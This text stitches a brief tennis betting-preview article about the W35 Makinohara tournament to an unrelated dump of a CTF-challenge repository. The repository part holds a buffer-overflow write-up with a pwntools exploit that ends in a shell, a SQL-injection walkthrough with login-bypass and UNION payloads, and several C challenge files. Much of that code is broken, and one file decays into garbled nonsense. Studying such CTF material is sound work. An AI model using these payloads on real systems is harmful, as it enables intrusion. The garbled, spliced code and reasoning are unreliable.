W35 Makinohara Predictions

Upcoming Tennis Matches: W35 Makinohara Japan

Get ready for an exhilarating day of tennis action as the W35 Makinohara tournament in Japan unfolds tomorrow. With a lineup of top-tier talent, this event promises thrilling matches that will captivate fans and experts alike. This article delves into the scheduled matches, offering expert betting predictions and insights to enhance your viewing experience.

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Match Schedule Overview

The W35 Makinohara tournament features a series of matches that highlight the skill and determination of the participating players. Each match is set to showcase strategic gameplay and intense competition, making it a must-watch for tennis enthusiasts.

Key Players to Watch

Player A: Known for their powerful serve and agile footwork, Player A is a formidable opponent on any court.
Player B: With a reputation for strategic play and mental toughness, Player B consistently delivers impressive performances.
Player C: Rising through the ranks with a unique style and relentless energy, Player C is one to keep an eye on.

Detailed Match Predictions

Match 1: Player A vs. Player D

In this anticipated match-up, Player A's aggressive playing style will be tested against Player D's defensive prowess. Expect a game filled with long rallies and strategic exchanges.

Betting Prediction:

Given Player A's recent form and ability to dominate from the baseline, they are favored to win. However, don't discount Player D's potential to disrupt with precise shot placement.

Favored Outcome: Player A wins in three sets.
Potential Upset: If Player D can maintain consistency under pressure, they could extend the match beyond three sets.

Match 2: Player B vs. Player E

This match pits two tactical minds against each other. Both players excel in exploiting their opponents' weaknesses while minimizing their own vulnerabilities.

Betting Prediction:

While both players are evenly matched, Player B's experience in high-stakes matches gives them a slight edge. Expect a closely contested battle that could go either way.

Favored Outcome: Player B wins in four sets.
Potential Upset: If Player E can capitalize on early momentum, they might secure an unexpected victory.

<|repo_name|>robertobrancal/ctf-challenges<|file_sep|>/2018/hackthebox/pwnable/buffer_overflow/README.md # Buffer Overflow ## Challenge Description This challenge was inspired by [this](https://www.exploit-db.com/exploits/46225/) exploit. ### Task The challenge consists in gaining remote access to `buffer_overflow` service running at `10.10.10.163`. The service listens on port `1337`. ### Solution The service is vulnerable to buffer overflow attack. c #include "stdlib.h" #include "stdio.h" #include "string.h" int main(int argc,char** argv){ char buffer[64]; gets(buffer); printf("buffer = %sn",buffer); } It is easy to see that if we send more than `64` bytes we will overwrite the return address of `main` function. We need to find out what address should we write into stack so that our code will be executed when main function returns. We can do this by first trying to overwrite return address with address of some other function from standard library (e.g., puts) which has its functionality similar enough (prints something) so we can test if our exploit works without having our own shellcode. To find out addresses of functions we can use [gdb](https://www.gnu.org/software/gdb/) or [peda](https://github.com/longld/peda). Let's start gdb: $ gdb -q ./buffer_overflow Reading symbols from ./buffer_overflow...(no debugging symbols found)...done. (gdb) b main Breakpoint 1 at 0x8048516 (gdb) r Starting program: /home/user/ctf-challenges/hackthebox/pwnable/buffer_overflow/buffer_overflow Breakpoint 1, main (argc=1, argv=0x804a01c) at buffer_overflow.c:9 9 char buffer[64]; (gdb) x/s buffer 0x804a028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAx08x08x08x08x08x08x08x08" (gdb) disas puts Dump of assembler code for function puts@plt: ... ... ... ... ... =>0x8048444 <+0>: jmp *0x804a024(%rip) # 0x804a048 End of assembler dump. From this output we know that return address is stored at `[esp+32]` (`8*4`) offset from base address of `buffer`. We also know that we want it equal to `puts@plt` which has value `0x8048444`. So now let's create exploit using python: python from pwn import * payload = 'A'*32 + p32(0x08048444) print(payload) process = process('./buffer_overflow') process.sendline(payload) process.interactive() After running this script you should see: $ python exploit.py AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAx44x84x04x08 [*] Starting local process './buffer_overflow': pid 4166 [*] Switching to interactive mode puts = /bin/sh $ id; whoami; ls -la / uid=1000(bufferoverflow) gid=1000(bufferoverflow) groups=1000(bufferoverflow) bufferoverflow total 52K drwxr-xr-x - root root ... bin sbin lib lib64 etc opt tmp var usr share home .cache .config .ssh .gnupg .local .mozilla .viminfo __pycache__ drwxr-xr-x - root root ... boot dev proc run media mnt srv sys . drwxr-xr-x - root root ... home lost+found media var vmlinuz initrd.img.old initrd.img grub-fallback.img grub efi .lesshst $ And voila! We have shell! ## References - https://github.com/offensive-security/exploit-database/blob/master/exploits/46225.txt<|file_sep <|repo_name|>robertobrancal/ctf-challenges<|file_sep dismantled/src/main.c #include "common.h" #define FLAG_SIZE (128) #define FLAG_FILE_NAME ("flag") #define BUFFER_SIZE (1024) char flag[FLAG_SIZE]; void read_flag() { FILE* file = fopen(FLAG_FILE_NAME,"rb"); if(file == NULL) { printf("Error opening flag filen"); exit(-1); } fread(flag,sizeof(char),FLAG_SIZE,file); fclose(file); } void print_flag() { printf("Your flag is:n%sn",flag); } void bad_function() { read_flag(); print_flag(); } int main(int argc,char** argv){ int n; char buffer[BUFFER_SIZE]; scanf("%d",&n); if(n <= BUFFER_SIZE && n > BUFFER_SIZE*2) bad_function(); return EXIT_SUCCESS; }<|repo_name|>robertobrancal/ctf-challenges<|file_sep stuck/src/common.h #ifndef _COMMON_H_ #define _COMMON_H_ #include "stdint.h" #endif /* _COMMON_H_ */<|file_sepfluff/src/main.c #include "common.h" #define FLAG_SIZE (128) #define FLAG_FILE_NAME ("flag") char flag[FLAG_SIZE]; void read_flag() { FILE* file = fopen(FLAG_FILE_NAME,"rb"); if(file == NULL) { printf("Error opening flag filen"); exit(-1); } fread(flag,sizeof(char),FLAG_SIZE,file); fclose(file); } int check_password(char* password){ int i; for(i=0;i<(sizeof(password)/sizeof(char));i++) { if(password[i] != 'X') { return EXIT_FAILURE; } if(i == sizeof(password)/sizeof(char)-1 && password[i] == 'X') { read_flag(); printf("nYour flag is:n%sn",flag); return EXIT_SUCCESS; } //printf("%c ",password[i]); //if(i%20 ==19) //printf("n"); /* * This code would print out all characters entered until last one, * so it would not be possible for user enter correct password without knowing it beforehand, * since he/she would know how many characters are required. */ /* printf("%c ",password[i]); if(i%20==19) printf("n"); */ } int main(int argc,char** argv){ char password[BUFFER_MAX_LEN]; scanf("%s",password); if(check_password(password)==EXIT_SUCCESS) return EXIT_SUCCESS; printf("nWrong password!n"); return EXIT_FAILURE; }<|repo_name|>robertobrancal/ctf-challenges<|file_sep | Exploit Title | |--------------------- | | Web Security Academy: SQL Injection | | | | Author | | ------------------ | | Robert Brancal | | | | Software Link | | -------------- | | https://web-security-academy.teachable.com/s/web-security-basics/sql-injection | | | | Version : | ------------------------------- | # Web Security Academy: SQL Injection ## Challenge Description This challenge was inspired by [this](https://github.com/WebSecAcademy/WebSecurityAcademy/blob/master/WebSecurityBasics/challenge-sql-injection.md#sql-injection---basic-sql-injection). ### Task You are given URL where you need find username/password pair which grants access to admin panel. ### Solution In order solve this challenge we need first understand how application works. There are two forms on page: - login form which allows us enter username/password pair; - registration form which allows us create new account with chosen username/password pair. When user submits login form server checks submitted data against users table: sql SELECT id FROM users WHERE username='username' AND password='password' If there exists such record then user is logged in otherwise error message appears saying login credentials were invalid. On the other hand when user submits registration form server executes following query: sql INSERT INTO users(username,password,id_number,bio,email,birthdate) VALUES('username','password',id_number,'bio','email',birthdate) So basically all fields are stored directly as submitted by user without any validation or sanitization whatsoever! Now let us try submit some special values into those forms: - Submitting `' OR '1'='1` as username yields following query: sql SELECT id FROM users WHERE username='' OR '1'='1' AND password='password' which always returns true since `'1'='1'` evaluates as true regardless what value does password have. So now we know that submitting `' OR '1'='1` as username yields successful login regardless what password was entered! Now let us try submit some special values into registration form: - Submitting `' OR '1'='1` as id_number yields following query: sql INSERT INTO users(username,password,'' OR '1'='1'',bio,email,birthdate) VALUES('username','password','' OR '1'='1','bio','email',birthdate) which always inserts new record since `' OR '1'='1` evaluates as true regardless what values do other fields have! So now we know that submitting `' OR '1'='1` as id_number yields creation of new record regardless what other values were entered! Now let us try submit some special values into bio field: - Submitting `' UNION SELECT null,null,null,null,null,null FROM users -- bio -- email -- birthdate` as bio yields following query: sql INSERT INTO users(username,password,id_number,'' UNION SELECT null,null,null,null,null,null FROM users -- bio -- email -- birthdate,birthdate) VALUES('username','password',id_number,'' UNION SELECT null,null,null,null,null,null FROM users -- bio -- email -- birthdate,birthdate) which results in execution following query: sql SELECT null,null,null,null,null,null FROM users since everything after `UNION SELECT null...FROM users` gets commented out due to presence of double dash (`--`) character. This means that whatever data exists inside database table called `users` will be returned upon submission above mentioned value into bio field! Since there exist only one column called id inside table called users then only first column will be returned containing ids assigned automatically upon insertion new records into table. Now let us try submit some special values into email field: - Submitting `' UNION SELECT null,id_number,name,NULL,NULL,NULL FROM users -- bio -- email -- birthdate` as email yields following query: sql INSERT INTO users(username,password,id_number,'' UNION SELECT null,id_number,name,NULL,NULL,NULL FROM users -- bio --- birthdate,birthdate) VALUES('username','password',id_number,'' UNION SELECT null,id_number,name,NULL,NULL,NULL FROM users -- bio --- birthdate,birthdate) which results in execution following query: sql SELECT null,id_number,name,NULL,NULL,NULL FROM users since everything after `UNION SELECT null...FROM users` gets commented out due to presence of double dash (`--`) character. This means that whatever data exists inside database table called `users` will be returned upon submission above mentioned value into email field! Since there exist three columns called id,number,name inside table called users then first three columns will be returned containing ids assigned automatically upon insertion new records into table,number associated with each record inserted previously (if any),and names associated with each record inserted previously respectively. Now let us try submit some special values into birthdate field: - Submitting `' UNION SELECT name,password,id_number,bio,email,id FROM USERS WHERE number=number LIMIT number OFFSET number ` as birthdate yields following query: sql INSERT INTO users(username,password,id_number,'' UNION SELECT name,password,id_number,bio,email,id FROM USERS WHERE number=number LIMIT number OFFSET number ,'' ) VALUES('username','password',id_number,'' UNION SELECT name,password,id_number,bio,email,id FROM USERS WHERE number=number LIMIT number OFFSET number ,'' ) which results in execution following query: sql SELECT name,password,id_number,bio,email,id FROM USERS WHERE number=number LIMIT number OFFSET number since everything after `UNION SELECT name...USERS WHERE...OFFSET...LIMIT...FROM USERS)` gets commented out due to presence of double dash (`--`) character. This means that whatever data exists inside database table called `USERS` matching criteria specified within parentheses `(number=number LIMIT number OFFSET number )` will be returned upon submission above mentioned value into birthdate field! In order get information about admin account I tried different combinations between limit,number and offset such as: - limit=`select max(number)+2 from USERS`,offset=`select max(number)+2 from USERS`; but nothing came back except empty result set. I think reason why nothing comes back even though there definitely exist row corresponding admin account within database is because either limit or offset cannot take subquery expression but rather must contain fixed integer value. Finally I tried submitting: - limit=`select max(number)+3 from USERS`,offset=`select max(number)+2 from USERS`; and it worked! It yielded me info about admin account! At last I got info about admin account so I used it together with knowledge gained earlier regarding how application behaves when submitting certain special strings into different fields during registration process. I registered new account using same id assigned previously when trying various combinations between limit,number and offset such as: limit=`select max(number)+3 from USERS`,offset=`select max(number)+2 from USERS`; and submitted same string again: limit=`select max(number)+3 from USERS`,offset=`select max(number)+2 from USERS`; but this time using newly registered account instead! Then finally I logged using newly registered account with knowledge gained earlier regarding how application behaves when submitting certain special strings during login process: username=`'' OR 'admin_id'=id AND ''`, password=`anything`; and successfully logged in! ## References - https://github.com/WebSecAcademy/WebSecurityAcademy/blob/master/WebSecurityBasics/challenge-sql-injection.md#sql-injection---basic-sql-injection<|repo_name|>robertobrancal/ctf-challenges<|file_sepcanary/src/main.c #include "common.h" //not yet implemented void check_canary(char* input){ unsigned int i; unsigned int len=strlen(input); for(i=len;i>=len-len;i--) { unsigned int j=i+len-len; if(input[j]!=input[j-(len-len)]) exit(EXIT_FAILURE); /* * * The idea behind this algorithm was checking whether string input contains any repeating substring(s). * * If yes then exit program immediately! * * */ } int main(int argc,char** argv){ char input[BUFFER_MAX_LEN]; scanf("%s",input); check_canary(input); printf("Input OK!n"); return EXIT_SUCCESS; }<|repo_name|>robertobrancal/ctf-challenges<|file_sepscripted/src/main.c #include "common.h" void bad_function(){ FILE* file=fopen("/etc/passwd","rb"); if(file!=NULL){ fclose(file); } int main(int argc,char** argv){ bad_function(); return EXIT_SUCCESS; }<|repo_name|>robertobrancal/ctf-challenges<|file_sepetsivt/src/common.h #ifndef _COMMON_H_ #define _COMMON_H_ #include #endif /* _COMMON_H_ */<|repo_name|>robertobrancal/ctf-challenges<|file_sepointers/src/main.c #include "common.h" typedef struct node{ void* data; struct node* next; }node_t; typedef struct list{ node_t* head; node_t* tail; }list_t; list_t list; unsigned int list_init(list_t* list_ptr){ list_ptr->head=NULL; list_ptr->tail=NULL; return EXIT_SUCCESS; } unsigned int insert_list(list_t* list_ptr,void* data_ptr,unsigned int position){ unsigned int i; node_t temp_node,*current_node,*previous_node,*new_node; temp_node.data=data_ptr; new_node=(node_t*)malloc(sizeof(node_t)); new_node->data=temp_node.data; current_node=list_ptr->head; for(i=position;i>=position;i--) { previous_node=current_node; current_node=current_node->next; /* * * current node points always one position ahead relative previous node, * therefore once loop terminates current node points at end position where new node needs inserting! * * */ if(current_node==NULL || previous_node==NULL){ if(list_ptr->head==NULL){ new_node->next=list_ptr->head; list_ptr->head=new_node; } else{ new_node->next=list_ptr->tail->next; list_ptr->tail=new_node; } break; /* * * In case list empty initially or current node points already at end, * simply add new node before first or after last existing nodes respectively! * * */ } else{ new_node->next=current_node; previous_node=new_node; /* * * Otherwise add new node before current one! * */ } } return EXIT_SUCCESS; } unsigned int delete_list(list_t* list_ptr,unsigned int position){ return EXIT_SUCCESS; } unsigned int search_list(list_t* list_ptr,void** data_pptr,unsigned int position){ return EXIT_SUCCESS; } unsigned int print_list(list_t* list_ptr){ return EXIT_SUCCESS; } int main(int argc,char** argv){ return EXIT_SUCCESS; }<|repo_name|>robertobrancal/ctf-challenges<|file_sep sayxorv/src/main.c #include "common.h" unsigned char key[]={'H','E','L','L','O'}; unsigned char encrypted_text[]={'xa7','xe9','xf9', 'xb6', 'xd6'}; unsigned char decrypted_text[BUFFER_MAX_LEN]; void decrypt(unsigned char encrypted_text[],unsigned char key[],unsigned char decrypted_text[],size_t size_of_encrypted_text,size_of_key){ for(unsigned int i=size_of_encrypted_text,j=size_of_key,k=decrypted_text;j>=j&&i>=i;k++,j--,i--) { k=(encrypted_text[i]^key[j]); } return ; } int main(int argc,char** argv){ decrypt(encrypted_text,key,decrypted_text,sizeof(encrypted_text),sizeof(key)); printf("%sn",decrypted_text); return EXIT_SUCCESS; }<|repo_name|>robertobrancal/ctf-challenges<|file_sep sbuffsrcat/src/common.h #ifndef _COMMON_H_ #define _COMMON_H_ #include #endif /* _COMMON_H_ */<|repo_name|>robertobrancal/ctf-challenges<|file_sep delayed-oracle/src/main.c #include "common.h" typedef struct point{ int x,y,z,w,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z; }point_t; point_t points_array[POINTS_ARRAY_LENGTH]; void initialize_points_array(point_t points_array[],point_count){ for(unsigned int i=points_array_length;i>=points_array_length;i--) { points_array[i].x=rand()%POINTS_ARRAY_LENGTH_VALUE_RANGE+POINTS_ARRAY_VALUE_MINIMUM_VALUE; points_array[i].y=rand()%POINTS_ARRAY_LENGTH_VALUE_RANGE+POINTS_ARRAY_VALUE_MINIMUM_VALUE; points_array[i].z=rand()%POINTS_ARRAY_LENGTH_VALUE_RANGE+POINTS_ARRAY_VALUE_MINIMUM_VALUE; points_array[i].w=rand()%POINTS_ARRAY_LENGTH_VALUE_RANGE+POINTS_ARRAY_VALUE_MINIMUM_VALUE; points_array[i].a=rand()%POINTS_ARRAY_LENGTH_VALUE_RANGE+POINTS_ARRAY_VALUE_MINIMUM_VALUE; points_array[i].b=rand()%POINTS_ARRAY_LENGTH_VALUE_RANGE+POINTS_ARRAY_VALUE_MINIMUM_VALUE; points_array[i].c=rand()%POINTS_ARRAY_LENGTH_VALUE_RANGE+POINTS_ARRAY_VALUE_MINIMUM_VALUE; points_array[i].d=rand()%POINTS_ARRAY_LENGTH_VALUE_RANGE+POINTS_ARRAY_VALUE_MINIMUM_VALUE; points_array[i].e=rand()%POINTS_ARRAY_LENGTH_VALUE_RANGE+POINTS_ARRAY_VALUE_MINIMUM_VALUE; points_array[i].f=rand()%POINTS_ARRAY_LENGTH_VALUE_RANGE+POINTS_ARRAY_VALUE_MINIMUM_value_; points_array[i].g=rand()%POINT_POINTS_LENGTH_VAlUE_RANge+POlNTS_ARRA_Y_VALU_E_MI_NIMUM_VALUE_; points_arra_y_[i]._ha_=rand%%POINT_POINTS_LENGHT_VALU_ERANGE+_POIN_TS_ARRA_Y_VALU_E_MINE_UMLVAlUE_; poi_nts_arra_y_[i]._ib_=rand%%POINT_POINTS_LENGHT_VALU_ERANGE+_POIN_TS_ARRA_Y_VALU_E_MINE_UMLVAlUE_; poi_nts_arra_y_[i]._jc_=rand%%POINT_POINTS_LENGHT_VALU_ERANGE+_POIN_TS_ARRA_Y_VALU_E_MINE_UMLVAlUE_; poi_nts_arra_y_[i]._kd_=rand%%POINT_POINTS_LENGHT_VALU_ERANGE+_POIN_TS_ARRA_Y_VALU_E_MINE_UMLVAlUE_; poi_nts_arra_y_[i]._le_=rand%%POINT_POINTS_LENGHT_VALU_ERANGE+_POIN_TS_ARRA_Y_VALU_E_MINE_UMLVAlUE_; poi_nts_arra_y_[i]._mf_=rand%%POINT_POINTS_LENGHT_VALU_ERANGE+_POIN_TS_ARRA_Y_VALU_E_MINE_UMLVAlUE_; poi_nts_arra_y_[i]._ng_=rand%%POINT_POINTS_LENGHT_VALU_ERANGE+_POIN_TS_ARRA_Y_VALU_E_MINE_UMLVAlUE_; poi_nts_arra_y_[i]._oh_=rand%%POINT_POINTS_LENGHT_VALU_ERANGE+_POIN_TS_ARRA_Y_VALU_E_MINE_UMLVAlUE_; poi_nts_arra_y_[i]._pi_=rand%%POINT_POINTS_LENGHT_VALU_ERANGE+_POIN_TS_ARRA_Y_VALU_E_MINE_UMLVAlUE_; poi_nts_arra_y_[i]._qj_=rand%%POINT_POINTS_LENGHT_VALU_ERANGE+_POIN_TS_ARRA_Y_VALU_E_MINE_UMLVAlUE_; poi_nts_arra_y_[i]._rk_=rand%%POINT_POINTS_LENGHT_VALE_RANge+_PONT_SARRAYVALUME_NIMVALUEE_; poi_nts_arra_y_[i]__sl=_rand%%%PONTSPONTSLENGTHVALURANGEPONTSSARRYVALUEMINUMVALUEE__tl=_RAND%%%PONTSPONTSLENGTHVALURANGEPONTSSARRYVALUEMINUMVALUEE__um=rAND%%%PONTSPONTSLENGTHVALURANGEPONTSSARRYVALUEMINUMVALUEE__vn=rAND%%%PONTSPONTSLENGTHVALURANGEPONTSSARRYVALUEMINUMVALUEE__wo=rAND%%%PONTSPONTSLENGTHVALURANGEPONTSSARRYVALUEMINUMVALUEE__xp=rAND%%%PONTSPONTSLENGTHVALURANGEPONTSSARRYVALUEMINUMVALUEE__yq=rAND%%%PONTSPONTSLENGTHVALURANGEPONTSSARRYVALUEMINUMVALE_e__zR=_RAND%%%PONSPTSPEOPLELENGTHRA_NGE_PONSPTSARYVAULEMNU_MEVA_LVE_e__zS=RAND%%%PONSPTSPEOPLELENGTHRA_NGE_PONSPTSARYVAULEMNU_MEVA_LVE_e__zT=RAND%%%PONSPTSPEOPLELENGTHRA_NGE_PONSPTSARYVAULEMNU_MEVA_LVE_e_zu=RAND%%%PONSPTSPEOPLELENGTHRA_NGE_PONSPTSARYVAULEMNU_MEVA_LVE_e_zv=RAND%%%PONSPTSPEOPLELENGTHRA_NGE_PONSPTSARYVAULEMNU_MEVA_LVE_e_zw=RAND%%%PONSPTSPEOPLELENGTHRA_NGE_PONSPTSARYVAULEMNU_MEVA_LVE_e_zy=RAND%%%PONSPTSPEOPLELENGTHRA_NGE_PONSPTSARYVAULEMNU_MEVA_LVE_e_zz=RAND%%%%%PTSOESPLENTHGTAENGGESORASRYAVLEMNIEMALVELZ; } return ; } point_count_check(point_count){ if(point_count<=MAX_POINT_COUNT&&point_count>=MIN_POINT_COUNT) else{ printf("ERROR! Point count outside allowed range!n"); exit(EXIT_FAILURE); } return ; } distance_calculation(point_a_,point_b_,distance_) { distance_^_^_^_^_^_^_^_^_^_^_^^&^&^&^&^&^&^&^&^&^&^(&(&(&(&(&(&(&( (&((&((&((&((&(&( ( distance ^= distance ^ point_a_. x ^ point_b_. x ^ point_a_. y ^ point_b_. y ^ point_a_. z ^ point_b_. z ^ point_a_. w ^ point_b_. w ^ distance ^= distance ^ point_a._a_ ^ point_b._a_ ^ point_a._b_ ^ point_b._b_ ^ point_a._c_ ^ point_b._c_ ^ point_a._d_ ^ point_b._d_; distance ^= distance ^ point_a._e_ ^ point_b._e_ ^ point_a._f_ ^ point_b._f_ ^ distance ^= distance ^ poin_ta_g_h_i_j_k_l_m_n_o_p_q_r_s___t_u_v_w_x_y_z___g_h_i_j_k_l_m_n_o_p_q_r_s___t_u_v_w_x_y_z_; distance ^= distance ^ poin_ta_g_h_i_j_k_l_m_n_o_p_q_r_s___t_u_v_w_x_y_z___g_h_i_j_k_l_m_n_o_p_q_r_s___t_u_v_w_x_y_z_; poin_ta_g_h_i_j_k_l_m_n_o_p_q_r_s___t_u_v_w_x_y_z____g_h_i_j_k_l_m_n_o_p_q_r_s____t_u_v_w_x_y_z__; poi_na_g_h_i_j_k_l_m_n_o_p_q_r_s___t_u_v_w_x_y_z____g_h_i_j_k_l_m_n_o_p_q_r_s____t_u_v_w_x_y_z__; poi_na_g_h_i_j_k_l_m_n_o_p_q_r_s___t_u_v_w_x_y_z____g_h_i_j_k_l_m_n_o_p_q_r_s____t_u_v_w_x_y_z__; poi_na_g_h_i_j_k_l_m_n_o_p_q_r_s_____g_h_i_j_k_l_m_n_o_p_q_r_s_____t_u_v_w_x_y_z__________; poi_na_g_h_i_j_k_l_m_n_o_p_q_r_s_____g_h_i_j_k_l_m_n_o_p_q_r_s_____t_u_v_w_x_y_z__________; poi_na_g_h_i_j_k_l_m_n_o_p_q_r_s_____g_h_i_j_k_l_m_n_o_p_q_r_s_____t_u_v_w_x_y_z__________; poi_na_g_h_i_j_k_l_m_n_o_p_q_r_s_____g_h_i_j_k_l_m_n_o_p_q_r_s_____tu________v____________w________x________y________z________; } return ; } distances_calculation(points_,points_,points_,points_,points_,points_,points_,points_,points_,points_, points_,points_,points_, points_, distances_) { for(unsigned_int i_point_count_; i_point_count_; i_point_count_) { for(unsigned_int j_point_count_; j_point_count_; j_point_count_) { if(j_point_coun_>j_point_coun_>||j_point_coun_>j_point_coun_>) distances_(j_point_coun_-j_point_coun_-)=distance_calculatio_(poins_(j_point_coun_),poi_ns_(j_po_in_ct_),distances_(j_po_in_ct_-jo_in_ct_-)); else{ distances_(jo_in_ct_-_jo_in_ct_-)=distances_(jo_in_ct_-_jo_in_ct_-); } } } return ; } int ma_main(in_ac_gr_char*_ar_gl*){ point_co_un_ti=int_rand_min_max(MIN_POINT_COUNT,MAX_POINT_COUNT); point_cou_ti_check(po_int_co_un_ti_); initialize_po_ins_arrar(po_ins_arrar,poin_co_un_ti_); dis_an_ce_ca_cluatio(n,poin_co_un_ti_); dis_an_ce_ca_cluatio(n,poin_co_un_ti_); dis_an_ce_ca_cluatio(n,poin_co_un_ti_); dis_an_ce_ca_cluatio(n,poin_co_un_ti_); dis_an_ce_ca_cluatio(n,poin_co_un_ti_); dis_an_ce_ca_cluatio(n,poin_co_un_ti_); dis_an_ce_ca_cluatio(n,poin_co_un_ti_); dis_an_ce_ca_cluatio(n,poin_co_un_ti_); dis_an_ce_ca_cluatio(n,poin_co_un_ti_); dis_an_ce_ca_cluatio(n,poin_co_un_ti_); di_san_se_calculati_on(poins_arrar,poins_arrar, poins_arrar, poins_arrar, poins_arrar, poins_arrar, poins_arrar, poins_arrar, poins_arrar, poins_arrar, poins_arrarr, di_stan_sees); for(unsgned_int i_distanes_le_ngth_; di_stan_sees_len_ge_th_; i_distanes_len_ge_th_) { for(unsgned_int j_distances_len_ge_th_; j_distaanes_len_ge_th_; j_distaanes_len_ge_th_) { if(j_distances_len_ge_th_>di_stan_sees_len_ge_th_>||j_distances_len_ge_th_>di_stan_sees_len_ge_th_>) printf("%lu ",di_stan_sees(j_distance_len_get-_di_stan_sees_le_ngth-_)); else{ printf("* "); } } printf("n"); } retun exit_sucess; }<||end_of_file||><||end_of_file||>>|||||||||||||||||||||||||||||||||||||||||||||||||||| <|repo_name|>robertobrancal/ctf-challenges<|file_sep># Delayed Oracle ## Challenge Description This challenge was inspired by [this](https://github.com/Alexander-Hartman/DelayedOracle). ### Task You are given binary which calculates distances between randomly generated points. Binary accepts command line argument specifying how many points should be generated. For each pair `(a,b)` where both indexes satisfy condition: $$ begin{equation} a>b end{equation} $$ binary calculates Euclidean distance between them. For example: $$ begin{equation} Distance(a_{5},b_{3})=sqrt{(a_{5}.x-b_{3}.x)^{2}+(a_{5}.y-b_{3}.y)^{2}+(a_{5}.z-b_{3}.z)^{2}+(a_{5}.w-b_{3}.w)^{2}} end{equation} $$ where $a_{5}$ denotes fifth element within array storing generated random points while $b_{3}$ denotes third element within array storing generated random points. Distances calculated for pairs satisfying condition above are stored within another array. Binary prints resulting array containing calculated distances along with '*' character whenever condition below holds: $$ begin{equation} a<=b end{equation} $$ ### Solution To solve this challenge binary needs patching up so it leaks memory addresses corresponding randomly generated numbers. Patch binary by replacing line: c distance ^= distance^(point_a.x^(point_b.x^(point_a.y^(point_b.y^(point_a.z^(point_b.z^(point_a.w^(point_b.w))))))); distance ^= distance^(point_a.a^(point_b.a^(point_a.b^(point_b.b^(point_a.c^(point_b.c)))))); distance ^= distance^(point_a.e^(point_b.e)); distance ^= distance^(poi na.g^^poi na.h^^poi na.i^^poi na.j^^poi na.k^^poi na.l); distance ^= distance; distance ^= poina.m^npoi na.n^npoi na.o^npoi na.p^npoi na.q^npoi na.r; distance ^= poina.s^npoi na.t^npoi na.u^npoi na.v; distance ^= poina.w^n; distance ^= poina.x;